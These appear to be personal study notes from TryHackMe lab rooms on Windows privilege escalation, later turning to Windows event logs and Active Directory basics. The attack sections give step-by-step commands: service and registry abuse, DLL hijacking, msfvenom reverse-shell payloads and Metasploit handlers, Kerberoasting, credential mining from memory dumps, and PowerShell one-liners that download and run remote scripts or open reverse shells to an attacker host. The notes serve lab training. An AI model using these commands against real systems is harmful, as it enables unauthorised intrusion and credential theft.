  + Detection
    - Windows VM
      * 1. Open powershell prompt and type: Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
      * 2. Notice that the output suggests that user belong to “NT AUTHORITY\INTERACTIVE” has “FullContol” permission over the registry key.
  + Exploitation
    - Windows VM
      * 1. Copy ‘C:\Users\User\Desktop\Tools\Source\windows\_service.c’ to the Kali VM.
    - Kali VM
      * 1. Open windows\_service.c in a text editor and replace the command used by the system() function to: cmd.exe /k net localgroup administrators user /add
      * 2. Exit the text editor and compile the file by typing the following in the command prompt: x86\_64-w64-mingw32-gcc windows\_service.c -o x.exe (NOTE: if this is not installed, use 'sudo apt install gcc-mingw-w64')
      * 3. Copy the generated file x.exe, to the Windows VM.
    - Windows VM
      * 1. Place x.exe in ‘C:\Temp’.
      * 2. Open command prompt at type: reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG\_EXPAND\_SZ /d c:\temp\x.exe /f
      * 3. In the command prompt type: sc start regsvc
      * 4. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
* Service Escalation – Executable Files
  + Detection
    - Windows VM
      * 1. Open command prompt and type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu "C:\Program Files\File Permissions Service"
      * 2. Notice that the “Everyone” user group has “FILE\_ALL\_ACCESS” permission on the filepermservice.exe file.
  + Exploitation
    - Windows VM
    - 1. Open command prompt and type: copy /y c:\Temp\x.exe "c:\Program Files\File Permissions Service\filepermservice.exe"
    - 2. In command prompt type: sc start filepermsvc
    - 3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
* Privilege Escalation – Startup Applications
  + Detection
    - Windows VM
      * 1. Open command prompt and type: icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
      * 2. From the output notice that the “BUILTIN\Users” group has full access ‘(F)’ to the directory.
  + Exploitation
    - Kali VM
      * 1. Open command prompt and type: msfconsole
      * 2. In Metasploit (msf > prompt) type: use multi/handler
      * 3. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse\_tcp
      * 4. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]
      * 5. In Metasploit (msf > prompt) type: run
      * 6. Open another command prompt and type: msfvenom -p windows/meterpreter/reverse\_tcp LHOST=[Kali VM IP Address] -f exe -o x.exe
      * 7. Copy the generated file, x.exe, to the Windows VM.
    - Windows VM
      * 1. Place x.exe in “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”.
      * 2. Logoff.
      * 3. Login with the administrator account credentials.
    - Kali VM
      * 1. Wait for a session to be created, it may take a few seconds.
      * 2. In Meterpreter(meterpreter > prompt) type: getuid
      * 3. From the output, notice the user is “User-PC\Admin”
* Service Escalation – DLL Hijacking
  + Detection
    - Windows VM
      * 1. Open the Tools folder that is located on the desktop and then go the Process Monitor folder.
      * 2. In reality, executables would be copied from the victim’s host over to the attacker’s host for analysis during run time. Alternatively, the same software can be installed on the attacker’s host for analysis, in case they can obtain it. To simulate this, right click on Procmon.exe and select ‘Run as administrator’ from the menu.
      * 3. In procmon, select "filter". From the left-most drop down menu, select ‘Process Name’.
      * 4. In the input box on the same line type: dllhijackservice.exe
      * 5. Make sure the line reads “Process Name is dllhijackservice.exe then Include” and click on the ‘Add’ button, then ‘Apply’ and lastly on ‘OK’.
      * 6. Next, select from the left-most drop down menu ‘Result’.
      * 7. In the input box on the same line type: NAME NOT FOUND
      * 8. Make sure the line reads “Result is NAME NOT FOUND then Include” and click on the ‘Add’ button, then ‘Apply’ and lastly on ‘OK’.
      * 9. Open command prompt and type: sc start dllsvc
      * 10. Scroll to the bottom of the window. One of the highlighted results shows that the service tried to execute ‘C:\Temp\hijackme.dll’ yet it could not do that as the file was not found. Note that ‘C:\Temp’ is a writable location.
  + Exploitation
    - Windows VM
      * 1. Copy ‘C:\Users\User\Desktop\Tools\Source\windows\_dll.c’ to the Kali VM.
    - Kali VM
      * 1. Open windows\_dll.c in a text editor and replace the command used by the system() function to: cmd.exe /k net localgroup administrators user /add
      * 2. Exit the text editor and compile the file by typing the following in the command prompt: x86\_64-w64-mingw32-gcc windows\_dll.c -shared -o hijackme.dll
      * 3. Copy the generated file hijackme.dll, to the Windows VM.
    - Windows VM
      * 1. Place hijackme.dll in ‘C:\Temp’.
      * 2. Open command prompt and type: sc stop dllsvc & sc start dllsvc
      * 3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
* Service Escalation – binPath
  + Detection
    - Windows VM
      * 1. Open command prompt and type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wuvc daclsvc
      * 2. Notice that the output suggests that the user “User-PC\User” has the “SERVICE\_CHANGE\_CONFIG” permission.
  + Exploitation
    - Windows VM
      * 1. In command prompt type: sc config daclsvc binpath= "net localgroup administrators user /add"
      * 2. In command prompt type: sc start daclsvc
      * 3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
* Service Escalation – Unquoted Service Paths
  + Detection
    - Windows VM
      * 1. Open command prompt and type: sc qc unquotedsvc
      * 2. Notice that the “BINARY\_PATH\_NAME” field displays a path that is not confined between quotes.
  + Exploitation
    - Kali VM
      * 1. Open command prompt and type: msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe
      * 2. Copy the generated file, common.exe, to the Windows VM.
    - Windows VM
      * 1. Place common.exe in ‘C:\Program Files\Unquoted Path Service’.
      * 2. Open command prompt and type: sc start unquotedsvc
      * 3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
  + For additional practice, it is recommended to attempt the TryHackMe room Steel Mountain (<https://tryhackme.com/room/steelmountain>).
* Potato Escalation – Hot Potato
  + Exploitation
    - Windows VM
      * 1. In command prompt type: powershell.exe -nop -ep bypass
      * 2. In Power Shell prompt type: Import-Module C:\Users\User\Desktop\Tools\Tater\Tater.ps1
      * 3. In Power Shell prompt type: Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"
      * 4. To confirm that the attack was successful, in Power Shell prompt type: net localgroup administrators
* Password Mining Escalation – Configuration Files
  + Exploitation
    - Windows Victim
      * in command prompt – notepad C:\Windows\Panther\Unattend.xml
        + password property – copy base64 string confined between <Value> tags
    - Kali Attacker
      * in terminal – echo <copied base64> | base64 -d
* Password Mining Escalation – Memory
  + Exploitation
    - Kali VM
      * 1.Open command prompt and type: msfconsole
      * 2.In Metasploit (msf > prompt) type: use auxiliary/server/capture/http\_basic
      * 3.In Metasploit (msf > prompt) type: set uripath x
      * 4.In Metasploit (msf > prompt) type: run
    - Windows VM
      * 1.Open Internet Explorer and browse to: http://[Kali VM IP Address]/x
      * 2.Open command prompt and type: taskmgr
      * 3.In Windows Task Manager, right-click on the “iexplore.exe” in the “Image Name” columnand select “Create Dump File” from the popup menu.
      * 4.Copy the generated file, iexplore.DMP, to the Kali VM.
    - Kali VM
      * 1.Place ‘iexplore.DMP’ on the desktop.
      * 2.Open command prompt and type: strings /root/Desktop/iexplore.DMP | grep "Authorization: Basic"
      * 3.Select the Copy the Base64 encoded string.
      * 4.In command prompt type: echo -ne [Base64 String] | base64 -d
      * 5.Notice the credentials in the output.
* Privilege Escalation – Kernel Exploits
  + Establish a shell
    - Kali VM
      * 1. Open command prompt and type: msfconsole
      * 2. In Metasploit (msf > prompt) type: use multi/handler
      * 3. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse\_tcp
      * 4. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]
      * 5. In Metasploit (msf > prompt) type: run
      * 6. Open an additional command prompt and type: msfvenom -p windows/x64/meterpreter/reverse\_tcp lhost=[Kali VM IP Address] -f exe > shell.exe
      * 7. Copy the generated file, shell.exe, to the Windows VM.
    - Windows VM
      * 1. Execute shell.exe and obtain reverse shell
  + Detection & Exploitation
    - Kali VM
      * 1. In Metasploit (msf > prompt) type: run post/multi/recon/local\_exploit\_suggester
      * 2. Identify exploit/windows/local/ms16\_014\_wmi\_recv\_notif as a potential privilege escalation
      * 3. In Metasploit (msf > prompt) type: use exploit/windows/local/ms16\_014\_wmi\_recv\_notif
      * 4. In Metasploit (msf > prompt) type: set SESSION [meterpreter SESSION number]
      * 5. In Metasploit (msf > prompt) type: set LPORT 5555
      * 6. In Metasploit (msf > prompt) type: run
        + NOTE: The shell might default to your eth0 during this attack. If so, ensure you type set lhost [Kali VM IP Address] and run again.

CORP

* Bypassing Applocker
  + If configured with default AppLocker rules, can be bypassed by placing an executable in C:\Windows\System32\spool\drivers\color
    - whitelisted by default
  + Windows powershell saves all previous commands into a file called ConsoleHost\_history located at <user profile>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost\_history.txt
* Kerberoasting
  + First enumerate Windows
    - run setspn -T medin -Q \*/\* to extract all accounts in SPN
  + Invoke-Kerberoast to get a ticket with user account
    - first get Invoke-Kerberoast script
      * iex​(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module\_source/credentials/Invoke-Kerberoast.ps1')
      * Invoke-Kerberoast -OutFormat hashcat |fl
    - copy SPN ticket
      * use hashcat to bruteforce – Kerberos 5 TGS-REP etype 23 (hashcat code 13100)
        + hashcat -m 13100 -​a 0 hash.txt wordlist –force
  + Login as new user
* Privilege Escalation
  + run PowerUp.ps1 for enumeration
    - load into memory
      * iex​(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1')
    - script identifies ways to get Admin access
      * bypassUAC and UnattendedPath
        + UnattendedPath

C:\Windows\Panther\Unattend\Unattended.xml

base64 password

login as admin

Alfred – Windows Authentication Exploitation

* Enumeration
  + nmap
  + gobuster
* Exploitation of Jenkins Automation Software
  + admin page login bypass
  + Search for items under /jobs/
    - navigate to /configure page of said /project/
    - likely able to execute windows batch commands
      * allows upload of reverse shell
  + On Attacker Machine
    - start simple server
      * python -m SimpleHTTPServer 80
    - use Powershell to upload revershell from Nishang
      * <https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1>
        + *powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port*
    - save configuration, set up netcat listener
      * select Build Now option on side panel
    - netcat connection should confirm
* Privilege Escalation using Incognito
  + check privileges of user
    - whoami /priv
  + exploit SeImpersonatePrivilege and SeDebugPrivilege
    - * <https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip>
    - transfer exe with smbserver
      * in Attacker - command – smbserver.py smbfolder .
    - in Victim Machine
      * command – copy \\<ip>\smbfolder\incognito.exe
  + With incognito, create user and add to local admin group
    - ./incognito.exe add\_user <username> <password>
    - ./incognito.exe add\_localgroup\_user Administrators <username>
  + Login through RDP 3389
    - rdesktop -g 90% -u <username> -p <password> <ip>
* Privilege Escalation with Metasploit and Token Manipulation
  + msfvenom -p windows/meterpreter/reverse\_tcp -a x86 --encoder x86/shikata\_ga\_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe
    - generates encoded reverse tcp meterpreter payload
  + download malicious payload to victim machine
    - powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')"
  + In attacker machine, ensure handler is set up in Metasploit
    - use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse\_tcp set LHOST your-ip set LPORT listening-port run
  + In Victim machine
    - Start-Process “shell-name.exe”
* Token Manipulation
  + Account tokens are assigned through LSASS.exe
    - uses user SIDs, group SIDs, and privileges
      * generate
        + primary access tokens – generated at log on
        + impersonation tokens – allow a particular process or thread in a process to gain access to resources using the token of another process
    - Impersonation Tokens have three levels
      * SecurityAnonymous – current user cannot impersonate another
      * SecurityIdentification – current user can get the identity and privileges of a client but cannot impersonate
      * SecurityImpersonation – current user can impersonate the clients security content on the local system
      * SecurityDelegation – current user can impersonate the clients security context on a remote system
    - Commonly Abused Privileges
      * SeImpersonatePrivilege
      * SeAssignPrimaryPrivilege
      * SeTcbPrivilege
      * SeBackupPrivilege
      * SeRestorePrivilege
      * SeCreateTokenPrivilege
      * SeLoadDriverPrivilege
      * SeTakeOwnershipPrivilege
      * SeDebugPrivilege
    - <https://www.exploit-db.com/papers/42556>
  + View all privileges with whoami /priv
    - SeDebugPrivilege
    - SeImpersonatePrivilege
      * both enabled allow use of Incognito Module
        + as noted above

Retro

* After gaining initial access to Windows machine via meterpreter or RDP
* <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md>
  + copy systeminfo output to text file
  + Windows-Exploit-Suggester.py script
    - <https://github.com/AonCyberLabs/Windows-Exploit-Suggester>
    - ./windows-exploit-suggester.py - -update
    - python windows-exploit-suggester.py --database <xls database of exploits provided with the script> --systeminfor <systeminfo saved in a txt file> --ostext <Os> -l
  + Determine if any suggested exploits are available within Meterpreter using search function
    - exploit
* <https://medium.com/@conmurray/tryhackme-retro-write-up-fe4599480267>
* <https://fr33s0ul.tech/ghostcat-write-up/>

Windows Event Logs - Incomplete

* Essential to understanding activities of complex systems
  + particularly systems with minimal user interactions
    - useful for SysAdmins, IT techs, Desktop Engineers
  + combining log file entries from multiple sources, combined with statistical analysis, may yield correlations between seemingly unrelated events on different servers
    - SIEMs
      * Splunk
      * Elastic
    - allow query of logs from multiple devices instead of manually connecting to each singular device
* Event Viewer
  + - raw event log data can be converted into XML using Windows API
      * proprietary binary format with either .evt or .evtx
    - C:\Windows\System32\winevt\Logs
  + Can be launched by right clicking Windows icon in taskbar and selecting Event Viewer
    - CLI – eventvwr.msc
  + Event Viewer has three panes
    - Left – Hierarchical tree listing event log providers
    - Middle – general overview/summary or events specific to a selected provider
    - Right – actions pane
  + Five Type of Events that are logged
    - Error – significant problem such as data loss or loss of functionality
    - Warning – indicate possible future problems. If applications recover from an event without loss of functionality or data, event is logged as a Warning
    - Information – describes successful operation of an application, driver, service
    - Success Audit – event that records an audited security access attempt that is successful
    - Failure Audit – records an audited security access attempt that failed
  + Left Pane – standard logs are visible under Windows Logs
    - Application – contains events logged by applications – developer decides what events are recorded
    - Security – events such as valid and invalid login attempts, events related to resource use
    - System – events logged by system components
    - CustomLog – events logged by applications that create a custom log.
      * enables control of the size of the log or attach ACLs for security purposes without affecting other applications
  + Applications and Services Logs
    - Expand
      * Microsoft > Windows > Powershell > Operational
        + Powershell Logging

Operational > right-click > Properties

* + - Within Properties
      * see log location, log size, creation date, modifications, last access
      * maximum set log size and what actions to take once criteria is met
        + log rotation
      * clear log button
        + sometimes legitimate reasons to use, sometimes used by adversaries
    - Operational
      * + Level – event type
        + Date and Time – when event was logged
        + Source – name of software that logs event
        + Event ID – not unique
        + Task Category – help organize events so Event Viewer can filter them

source defines this column

* + - * Split View
        + General – default, rendered data is displayed
        + Details – Friendly and XML views
    - Actions
      * open saved logs
        + useful for remote machines
      * Create Custom View
        + By Log
        + By Source
      * Filter Current Log
    - To View Events from another Computer
      * Event Viewer (Local) > Connect to Another Computer…
* wevtutil.exe
  + enables a user to retrieve information about event logs and publishers
    - install and uninstall event manifests, run queries, export/archive/clear logs
      * + wevtutil.exe /?

commands

qe (query events)

common options

* + - * + <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil>
    - ex. wevtutil eq Application /c:3 /rd:true /f:text
* Get-WinEvent
  + PS cmdlet
    - gets events from event logs and event tracing log files on local and remote computers
      * replaces Get-EventLog cmdlet
    - <https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.diagnostics/get-winevent?view=powershell-5.1>
  + can filter event logs as such
    - Get-WinEvent -LogName Application | Where-Object { $\_.ProviderName -Match ‘WLMS’ }
  + It is inefficient to send objects down pipeline to a Where-Object command
    - use FilterHashtable param to filter event logs
      * ex. Get-WinEvent -FilterHashtable @{ LogName=’Application’ ProviderName=’WLMS’ }
    - to define a hash table
      * begin hash table with @
      * enclose table in {}
      * enter one or more key/value pairs for the content of the hash table
      * use an = to separate each key from its value
    - <https://docs.microsoft.com/en-us/powershell/scripting/samples/Creating-Get-WinEvent-queries-with-FilterHashtable?view=powershell-7.1>
      * common useful command
        + Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | Select-Object -Property Message | Select-String -Pattern 'SecureString'
    - <https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_hash_tables?view=powershell-7.1>
* XPath Queries
  + WEL supports a subset of XPath
    - <https://docs.microsoft.com/en-us/windows/win32/wes/consuming-events#xpath-10-limitations>
  + Supported by both wevtutil and Get-WinEvent
    - understand XML View to construct a valid XPath query
      * ex. Get-WinEvent -LogName Application -FilterXPath '\*/System/Provider[@Name="WLMS"]'
    - Combine queries
      * Get-WinEvent -LogName Application -FilterXPath '\*/System/EventID=101 and \*/System/Provider[@Name="WLMS"]'
    - adding in Event Data
      * Get-WinEvent -LogName Security -FilterXPath '\*/EventData/Data[@Name="TargetUserName"]="System"'
    - <https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms256115(v=vs.100)>
  + Using Get-WinEvent and XPath, what is the query to find WLMS events with a System Time of 2020-12-15T01:09:08.940277500Z?
    - Get-WinEvent -LogName Application -FilterXPath '\*/System/Provider[@Name="WLMS"] and \*/System/TimeCreated[@SystemTime="2020-12-15T01:09:08.940277500Z"]'
  + Using Get-WinEvent and XPath, what is the query to find a user named Sam with an Logon Event ID of 4720?
    - Get-WinEvent -LogName Security -FilterXPath '\*/EventData/Data[@Name="TargetUserName"]="Sam" and \*/System/EventID=4720'
* Event IDs
  + - <https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/580595db9f745688bc7477f6/1476761074992/Windows+Logging+Cheat+Sheet_ver_Oct_2016.pdf>
    - <https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm>
    - <https://attack.mitre.org/>
      * <https://tryhackme.com/room/mitre>
    - <https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/appendix-l--events-to-monitor>
    - <https://www.microsoft.com/en-us/download/confirmation.aspx?id=52630>
    - <https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.1>
    - <https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html>
    - <https://docs.splunk.com/Documentation/UBA/5.0.4/GetDataIn/AddPowerShell>
  + Enable/configure Audit Process Creation
    - command-line process auditing
      * Local Computer Policy > Computer Configuration > Administrative Templates > System > Audit Process Creation
        + <https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing#try-this-explore-command-line-process-auditing>
* Conclusion
  + <https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES>
  + <https://devblogs.microsoft.com/powershell/powershell-the-blue-team/>
  + <https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63>

Introduction to Windows

* Windows File System and Permissions Explained
  + File System
    - Logical Drives
    - Folders
    - Files
  + C: Drive
    - PerfLogs
      * stores system issues and other reports regarding performance
    - Program Files
    - Program Files (x86)
    - Users
      * user generated data
    - Windows
      * OS code and tools
  + File Permissions
    - * Users
      * Groups
    - Permissions
      * Full control - allows the user/users/group/groups to set the ownership of the folder, set permission for others, modify, read, write, and execute files.
      * Modify - allows the user/users/group/groups to modify, read, write, and execute files.
      * Read & execute - allows the user/users/group/groups to read and execute files.
      * List folder contents - allows the user/users/group/groups to list the contents (files, subfolders, etc) of a folder.
      * Read - only allows the user/users/group/groups to read files.
      * Write - allows the user/users/group/groups to write data to the specified folder (automatically set when "Modify" right is checked).
    - Tool to use to check files/folder permissions is “icacls” in powershell
      * I - permission inherited from the parent container
      * F - full access (full control)
      * M - Modify right/access
      * OI - object inherit
      * IO - inherit only
      * CI - container inherit
      * RX - read and execute
      * AD - append data (add subdirectories)
      * WD - write data and add files
* Understanding the Authentication Process
  + Local Authentication
    - Local Security Authority
      * protected subsystem that keeps track of security policies and the accounts that are on a computer system
  + Types of Active Directory
    - On-Premise AD
    - Azure AD
  + Authentication for On-Premise AD
    - NTLM
    - LDAP/LDAPS
    - KERBEROS
  + Authentication for Azure AD
    - SAML
    - OAUTH 2.0
    - OpenID Connect
* Built-in Utility Tools
  + Windows
    - Computer Management
      * Task Scheduler
      * Event Viewer
      * Shared Folders
      * Local users & computers
      * Performance Monitor
      * Disk Management
      * Services & Applications
    - Local Security Policy
    - Disk Cleanup
    - Registry Editor
      * HKEY\_CLASSES\_ROOT
      * HKEY\_CURRENT\_USER
      * HKEY\_LOCAL\_MACHINE
      * HKEY\_USERS
      * HKEY\_CURRENT\_CONFIG
    - Command-line Tools
      * CMD
      * PS
      * Windows Terminal
    - Regedit
* Types of Servers
  + Domain Controller –
    - Might be one of the most important servers because in an AD or AAD infrastructure we can control users, groups, restrict actions, improve security, and many more of other computers and servers.
  + File Server –
    - File servers provide a great way to share files across devices on a network.
  + Web Server-
    - It serves static or dynamic content to a Web browser by loading a file from a disk and serving it across the network to a user’s Web browser.
  + FTP Server –
    - Makes possible moving one or more files securely between computers while providing file security and organization as well as transfer control.
  + Mail Server –
    - Mail servers move and store mail over corporate networks (via LANs and WANs) and across the Internet.
  + Database Server –
    - A database server is a computer system that provides other computers with services related to accessing and retrieving data from one or multiple databases.
  + Proxy Server –
    - This server usually sits between a client program and an external server to filter requests, improve performance, and share connections.
  + Application Server –
    - They're usually used to connect the database servers and the users.
* Users and Group Management
  + In Active Directory user management is done using the Active Directory Users and Computers. To access it go to Tools > Active Directory Users and Computers.
    - Before any other action let's enable Advanced Features which adds additional features when looking at an object properties. That is doable by going to View > Advanced Features.
      * Let's create an Organizational Unit (OU) where to store the users. To do that right-click on the domain name (thm.lab) and go to New > Organizational Unit. I named it LAB and clicked OK to create it.
        + Let's create two more OUs inside the newly created OU (it will look nested). In one OU we'll store users and in the second one, we'll store Groups. To create the OU's we can repeat the steps above (Right-click on LAB OU > New > Organizational Unit).
        + Time to create some users and groups! To do so right-click on the Users OU and go to New > User and fill in the information required.
    - In a production environment, you would probably check "User must change password at next logon" so the user can set a password he desires after you created his AD account.
    - Since the password can be set to expire after a period of time it would be a bad idea to check the "User cannot change password" because he won't be able to reset the password and you will have to manually intervene.
  + Let's move to the Groups OU. Right click on the OU > New > Group.
  + I named the group Admins and clicked OK to create it.
    - To assign a user to a group you can do that in two ways:
      * Right-clicking a user > Add to a group
      * Double-clicking a group > click on Members tab > Add
* Creating First GPO
  + What is a GPO?
    - A GPO or a Group Policy Object is a feature of Active Directory that adds additional controls to user accounts and computers.
    - Group Policy settings including local settings, site-wide settings, domain-level settings and settings applied to organizational units.
  + Creating a GPO
    - To create a GPO we need to go to Tools > Group Policy Management inside the Server Manager.
      * Right-click on "Group Policy Objects" and create a new object. I will name mine "Groups GPO".
      * To edit the GPO right-click on it > Edit.
        + First, let's let users authenticate using RDP. To do so, go to Policies > Windows Settings > Security Settings > Local Policies > Users Right Assignment and double click on Allow log on through Remote Desktop Services.

Select Define these policy settings > Add user or group > Browse

* + - * + To block a user or a group to login using RDP we can do that by double-clicking Deny log on through Remote Desktop Services and adding No RDP Access group in there.
      * In order to make the policy apply, we have to link the GPO to the root of the domain (thm.lab). To do that right-click on Domain Controllers OU > Link an existing GPO and select the GPO you created (Group GPO in my case) and press OK.
    - To apply the GPO open a CMD as an administrator (right-click on it > Run as administrator) and type the following: gpupdate /force and wait for the policy to apply.
  + Testing the GPO
    - Try prompting an elevated CMD (Right-click on CMD > Run as administrator). You notice that UAC (User Account Control) asks for admin credentials. If you try entering the credentials (username and password) of the account you are currently logged in you will notice the CMD prompt will not pop out. This happens because you are a simple user on the machine, not an administrator.